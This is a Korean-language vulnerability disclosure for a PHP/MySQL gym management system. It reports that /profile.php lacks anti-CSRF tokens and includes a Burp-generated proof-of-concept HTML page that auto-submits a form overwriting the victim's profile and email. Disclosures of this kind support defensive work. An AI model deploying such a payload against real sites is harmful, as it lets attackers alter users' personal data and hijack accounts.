
PHP와 MYSQL을 사용하는 헬스장 관리 시스템
PHP와 MySQL로 구축된 체육관 관리 시스템입니다.
Shoaib Alam - LinkedIn 프로필
체육관 관리 시스템에서 교차 사이트 요청 위조(CSRF) 취약점이 확인되었습니다. 이 문제는 사용자 패널의 프로필 업데이트 기능에 존재합니다.
이 애플리케이션은 현재 Anti-CSRF 토큰을 구현하지 않아 교차 사이트 요청 위조(CSRF) 공격에 취약합니다. 이 보안 취약점은 특히 /profile.php 엔드포인트에 영향을 미칩니다. 공격자는 이 결함을 악용하여 주소, 이름, 전화번호와 같은 민감한 사용자 정보를 무단으로 수정할 수 있습니다. 이로 인해 사용자 계정의 무결성이 손상되고 추가 보안 문제로 이어질 수 있습니다.
취약한 엔드포인트: /profile.php
다음은 CSRF 취약점을 입증하는 개념 증명(PoC)입니다. 이 PoC는 Burp Suite Professional을 사용하여 생성되었습니다.
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://localhost/gym/profile.php" method="POST">
<input type="hidden" name="fname" value="hacked" />
<input type="hidden" name="lname" value="victim" />
<input type="hidden" name="email" value="attacker@gmail.com" />
<input type="hidden" name="mobile" value="9999999999" />
<input type="hidden" name="state" value="hacked" />
<input type="hidden" name="city" value="hacked" />
<input type="hidden" name="address" value="hacked" />
<input type="hidden" name="submit" value="Update" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>